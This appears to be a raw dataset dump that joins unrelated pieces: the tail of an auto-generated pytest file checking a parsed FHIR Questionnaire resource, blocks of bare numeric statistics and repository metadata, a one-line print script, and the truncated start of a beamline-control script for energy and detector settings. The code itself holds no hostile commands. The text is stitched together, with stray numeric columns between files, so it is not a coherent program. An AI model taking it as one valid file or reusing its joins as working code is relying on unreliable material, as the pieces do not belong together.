inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "ElementDefinition.extension" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Additional Content defined by implementations" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "minOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[1].valueInteger == 1 assert inst.item[0].item[3].extension[2].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[2].valueString == "string" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].text == ( "The path identifies the element and is expressed as a " '"."-separated list of ancestor elements, beginning with ' "the name of the resource or extension." ) assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].item[1].linkId == "ElementDefinition.path.value" assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "Path of the element in the hierarchy of elements" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "ElementDefinition.path" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is True assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 0 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert ( inst.item[0].item[4].item[1].linkId == "ElementDefinition.representation.value" ) assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "representation" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "ElementDefinition.representation" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[5].extension[1].valueString == "string" assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].item[1].linkId == "ElementDefinition.sliceName.value" assert inst.item[0].item[5].item[1].repeats is False assert inst.item[0].item[5].item[1].required is False assert ( inst.item[0].item[5].item[1].text == "Name for this particular element (in a set of slices)" ) assert inst.item[0].item[5].item[1].type == "string" assert inst.item[0].item[5].linkId == "ElementDefinition.sliceName" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[6].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[6].extension[1].valueString == "string" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].item[1].linkId == "ElementDefinition.label.value" assert inst.item[0].item[6].item[1].repeats is False assert inst.item[0].item[6].item[1].required is False assert ( inst.item[0].item[6].item[1].text == "Name for element to display with or prompt for element" ) assert inst.item[0].item[6].item[1].type == "string" assert inst.item[0].item[6].linkId == "ElementDefinition.label" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[7].extension[0].valueString == "Coding" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].item[1].linkId == "ElementDefinition.code.value" assert inst.item[0].item[7].item[1].repeats is False assert inst.item[0].item[7].item[1].required is False assert inst.item[0].item[7].item[1].text == "Corresponding codes in terminologies" assert inst.item[0].item[7].item[1].type == "open-choice" assert inst.item[0].item[7].linkId == "ElementDefinition.code" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].extension[0].valueInteger == 0 assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[1].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[1].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[1].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[1].linkId == "display.ID" assert inst.item[0].item[8].item[1].type == "display" assert inst.item[0].item[8].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[2].extension[1].valueString == "string" assert inst.item[0].item[8].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[2].item[0].text == ( "unique id for the element within a resource (for internal " "references). This may be any string value that does not " "contain spaces." ) assert inst.item[0].item[8].item[2].item[0].type == "display" assert ( inst.item[0].item[8].item[2].item[1].linkId == "ElementDefinition.slicing.id.value" ) assert inst.item[0].item[8].item[2].item[1].repeats is False assert inst.item[0].item[8].item[2].item[1].required is False assert inst.item[0].item[8].item[2].item[1].text == "xml:id (or equivalent in JSON)" assert inst.item[0].item[8].item[2].item[1].type == "string" assert inst.item[0].item[8].item[2].linkId == "ElementDefinition.slicing.id" assert inst.item[0].item[8].item[2].repeats is True assert inst.item[0].item[8].item[2].required is False assert inst.item[0].item[8].item[2].type == "group" assert inst.item[0].item[8].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[3].item[0].type == "display" assert inst.item[0].item[8].item[3].linkId == "ElementDefinition.slicing.extension" assert inst.item[0].item[8].item[3].repeats is True assert inst.item[0].item[8].item[3].required is False assert ( inst.item[0].item[8].item[3].text == "Additional Content defined by implementations" ) assert inst.item[0].item[8].item[3].type == "group" assert inst.item[0].item[8].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[0].type == "display" assert inst.item[0].item[8].item[4].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[4] .item[1] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[4] .item[1] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[4] .item[1] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[4].item[1].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[1].type == "display" assert inst.item[0].item[8].item[4].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[4].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[4].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[4].item[2].extension[1].valueString == "string" assert inst.item[0].item[8].item[4].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[4] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[4] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[4] .item[2] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[4].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[2].item[0].text == ( "unique id for the element within a resource (for internal " "references). This may be any string value that does not " "contain spaces." ) assert inst.item[0].item[8].item[4].item[2].item[0].type == "display" assert ( inst.item[0].item[8].item[4].item[2].item[1].linkId == "ElementDefinition.slicing.discriminator.id.value" ) assert inst.item[0].item[8].item[4].item[2].item[1].repeats is False assert inst.item[0].item[8].item[4].item[2].item[1].required is False assert ( inst.item[0].item[8].item[4].item[2].item[1].text == "xml:id (or equivalent in JSON)" ) assert inst.item[0].item[8].item[4].item[2].item[1].type == "string" assert ( inst.item[0].item[8].item[4].item[2].linkId == "ElementDefinition.slicing.discriminator.id" ) assert inst.item[0].item[8].item[4].item[2].repeats is True assert inst.item[0].item[8].item[4].item[2].required is False assert inst.item[0].item[8].item[4].item[2].type == "group" assert inst.item[0].item[8].item[4].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[4] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[4] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[4] .item[3] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[4].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[3].item[0].type == "display" assert ( inst.item[0].item[8].item[4].item[3].linkId == "ElementDefinition.slicing.discriminator.extension" ) assert inst.item[0].item[8].item[4].item[3].repeats is True assert inst.item[0].item[8].item[4].item[3].required is False assert ( inst.item[0].item[8].item[4].item[3].text == "Additional Content defined by implementations" ) assert inst.item[0].item[8].item[4].item[3].type == "group" assert inst.item[0].item[8].item[4].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "minOccurs" ) assert inst.item[0].item[8].item[4].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[4].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[4].item[4].extension[1].valueInteger == 1 assert inst.item[0].item[8].item[4].item[4].extension[2].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[4].item[4].extension[2].valueString == "code" assert inst.item[0].item[8].item[4].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[4] .item[4] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[4] .item[4] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[4] .item[4] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[4].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[4].item[0].text == ( "How the element value is interpreted when discrimination is " "evaluated." ) assert inst.item[0].item[8].item[4].item[4].item[0].type == "display" assert ( inst.item[0].item[8].item[4].item[4].item[1].linkId == "ElementDefinition.slicing.discriminator.type.value" ) assert inst.item[0].item[8].item[4].item[4].item[1].repeats is False assert inst.item[0].item[8].item[4].item[4].item[1].required is False assert inst.item[0].item[8].item[4].item[4].item[1].text == "type" assert inst.item[0].item[8].item[4].item[4].item[1].type == "choice" assert ( inst.item[0].item[8].item[4].item[4].linkId == "ElementDefinition.slicing.discriminator.type" ) assert inst.item[0].item[8].item[4].item[4].repeats is True assert inst.item[0].item[8].item[4].item[4].required is True assert inst.item[0].item[8].item[4].item[4].type == "group" assert inst.item[0].item[8].item[4].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "minOccurs" ) assert inst.item[0].item[8].item[4].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[4].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[4].item[5].extension[1].valueInteger == 1 assert inst.item[0].item[8].item[4].item[5].extension[2].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[4].item[5].extension[2].valueString == "string" assert inst.item[0].item[8].item[4].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[4] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[4] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[4] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[4].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[4].item[5].item[0].type == "display" assert ( inst.item[0].item[8].item[4].item[5].item[1].linkId == "ElementDefinition.slicing.discriminator.path.value" ) assert inst.item[0].item[8].item[4].item[5].item[1].repeats is False assert inst.item[0].item[8].item[4].item[5].item[1].required is False assert inst.item[0].item[8].item[4].item[5].item[1].text == "Path to element value" assert inst.item[0].item[8].item[4].item[5].item[1].type == "string" assert ( inst.item[0].item[8].item[4].item[5].linkId == "ElementDefinition.slicing.discriminator.path" ) assert inst.item[0].item[8].item[4].item[5].repeats is True assert inst.item[0].item[8].item[4].item[5].required is True assert inst.item[0].item[8].item[4].item[5].type == "group" assert ( inst.item[0].item[8].item[4].linkId == "ElementDefinition.slicing.discriminator" ) assert inst.item[0].item[8].item[4].repeats is True assert inst.item[0].item[8].item[4].required is False assert ( inst.item[0].item[8].item[4].text == "Element values that are used to distinguish the slices" ) assert inst.item[0].item[8].item[4].type == "group" assert inst.item[0].item[8].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[5].extension[1].valueString == "string" assert inst.item[0].item[8].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[5] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[5].item[0].type == "display" assert ( inst.item[0].item[8].item[5].item[1].linkId == "ElementDefinition.slicing.description.value" ) assert inst.item[0].item[8].item[5].item[1].repeats is False assert inst.item[0].item[8].item[5].item[1].required is False assert ( inst.item[0].item[8].item[5].item[1].text == "Text description of how slicing works (or not)" ) assert inst.item[0].item[8].item[5].item[1].type == "string" assert ( inst.item[0].item[8].item[5].linkId == "ElementDefinition.slicing.description" ) assert inst.item[0].item[8].item[5].repeats is True assert inst.item[0].item[8].item[5].required is False assert inst.item[0].item[8].item[5].type == "group" assert inst.item[0].item[8].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[6].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[6].extension[1].valueString == "boolean" assert inst.item[0].item[8].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[6] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[6] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[6] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[6].item[0].type == "display" assert ( inst.item[0].item[8].item[6].item[1].linkId == "ElementDefinition.slicing.ordered.value" ) assert inst.item[0].item[8].item[6].item[1].repeats is False assert inst.item[0].item[8].item[6].item[1].required is False assert ( inst.item[0].item[8].item[6].item[1].text == "If elements must be in same order as slices" ) assert inst.item[0].item[8].item[6].item[1].type == "boolean" assert inst.item[0].item[8].item[6].linkId == "ElementDefinition.slicing.ordered" assert inst.item[0].item[8].item[6].repeats is True assert inst.item[0].item[8].item[6].required is False assert inst.item[0].item[8].item[6].type == "group" assert inst.item[0].item[8].item[7].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "minOccurs" ) assert inst.item[0].item[8].item[7].extension[0].valueInteger == 1 assert inst.item[0].item[8].item[7].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[8].item[7].extension[1].valueInteger == 1 assert inst.item[0].item[8].item[7].extension[2].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[8].item[7].extension[2].valueString == "code" assert inst.item[0].item[8].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0] .item[8] .item[7] .item[0] .extension[0] .valueCodeableConcept.coding[0] .code == "flyover" ) assert ( inst.item[0] .item[8] .item[7] .item[0] .extension[0] .valueCodeableConcept.coding[0] .display == "Fly-over" ) assert ( inst.item[0] .item[8] .item[7] .item[0] .extension[0] .valueCodeableConcept.coding[0] .system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[7].item[0].type == "display" assert ( inst.item[0].item[8].item[7].item[1].linkId == "ElementDefinition.slicing.rules.value" ) assert inst.item[0].item[8].item[7].item[1].repeats is False assert inst.item[0].item[8].item[7].item[1].required is False assert inst.item[0].item[8].item[7].item[1].text == "rules" assert inst.item[0].item[8].item[7].item[1].type == "choice" assert inst.item[0].item[8].item[7].linkId == "ElementDefinition.slicing.rules" assert inst.item[0].item[8].item[7].repeats is True assert inst.item[0].item[8].item[7].required is True assert inst.item[0].item[8].item[7].type == "group" assert inst.item[0].item[8].linkId == "ElementDefinition.slicing" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "This element is sliced - slices follow" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[9].extension[0].valueInteger == 0 assert inst.item[0].item[9].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[1].valueString == "string" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].item[1].linkId == "ElementDefinition.short.value" assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert ( inst.item[0].item[9].item[1].text == "Concise definition for space-constrained presentation" ) assert inst.item[0].item[9].item[1].type == "string" assert inst.item[0].item[9].linkId == "ElementDefinition.short" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "ElementDefinition" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "Definition of an element in a resource or extension" assert inst.item[0].type == "group" assert ( inst.publisher == "Health Level Seven International (Orders and Observations)" ) assert inst.status == "draft" def test_questionnaire_10(base_settings): """No. 10 tests collection for Questionnaire. Test File: elementdefinition-de-questionnaire.json """ filename = ( base_settings["unittest_data_dir"] / "elementdefinition-de-questionnaire.json" ) inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_10(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_10(inst2)
42.734227
88
0.634697
22,556
162,561
4.567565
0.01534
0.110118
0.222313
0.238192
0.956671
0.95208
0.944276
0.938161
0.92994
0.926999
0
0.046117
0.184448
162,561
3,803
89
42.745464
0.730987
0.01047
0
0.706026
0
0
0.228856
0.023236
0
0
0
0
0.472856
1
0.005429
false
0
0.000814
0
0.006243
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
10
f60060494efa6def08a082c603e17c2d67d12724
14
py
Python
the basics/basics_old.py
steevaavoo/python-mega-course
f8caa0dd0da05e969e2a79ec8b9b5a575de65dee
[ "MIT" ]
null
null
null
the basics/basics_old.py
steevaavoo/python-mega-course
f8caa0dd0da05e969e2a79ec8b9b5a575de65dee
[ "MIT" ]
null
null
null
the basics/basics_old.py
steevaavoo/python-mega-course
f8caa0dd0da05e969e2a79ec8b9b5a575de65dee
[ "MIT" ]
null
null
null
print(24 * 7)
7
13
0.571429
3
14
2.666667
1
0
0
0
0
0
0
0
0
0
0
0.272727
0.214286
14
1
14
14
0.454545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
f60a1dacd6b931bd843956686023dbce1ac29832
18,731
py
Python
profile_xf23id2bs/startup/96-custom.py
NSLS-II-CSX/xf23id2_profiles
7bfd3aa5c617e4b145b40933608eafe551f215a4
[ "BSD-3-Clause" ]
null
null
null
profile_xf23id2bs/startup/96-custom.py
NSLS-II-CSX/xf23id2_profiles
7bfd3aa5c617e4b145b40933608eafe551f215a4
[ "BSD-3-Clause" ]
2
2017-02-22T18:27:25.000Z
2018-06-18T21:40:58.000Z
profile_xf23id2bs/startup/96-custom.py
NSLS-II-CSX/xf23id2_profiles
7bfd3aa5c617e4b145b40933608eafe551f215a4
[ "BSD-3-Clause" ]
3
2017-02-22T18:19:59.000Z
2018-08-31T16:20:17.000Z
from time import sleep import numpy as np def adrians_xps(): yield from bps.mov(pgm_energy, 842) yield from bps.sleep(3730) yield from bps.mov(pgm_energy, 894) yield from bps.sleep(3730) yield from bps.mov(pgm_energy, 942) yield from bps.sleep(3730) yield from bps.mov(pgm_energy, 990) yield from bps.sleep(3730) yield from bps.mov(pgm_energy, 1090) yield from bps.sleep(3730) yield from bps.mov(valve_diag3_close, 1) yield from bps.mov(valve_mir3_close, 1) def multi_XAS(): dets = [sclr, vortex, norm_ch4, ring_curr] for channel in ['mca.rois.roi2.count','mca.rois.roi3.count','mca.rois.roi4.count']: getattr(vortex, channel).kind = 'hinted' for channel in ['mca.rois.roi2.count','mca.rois.roi3.count']: getattr(vortex, channel).kind = 'normal' for channel in ['channels.chan3','channels.chan4']: getattr(sclr, channel).kind = 'hinted' for channel in ['channels.chan2']: getattr(sclr, channel).kind = 'normal' # Al K measurements # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(epu1table, 7, wait=True) # yield from bps.abs_set(epu1offset, 8, wait=True) # yield from bps.sleep(30) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.sleep(30) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(sample_sclr_gain, 0, wait=True) # yield from bps.abs_set(sample_sclr_decade, 3, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 2, wait=True) # yield from bps.abs_set(ioxas_x, 250.4, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 253.3, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 256.5, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, 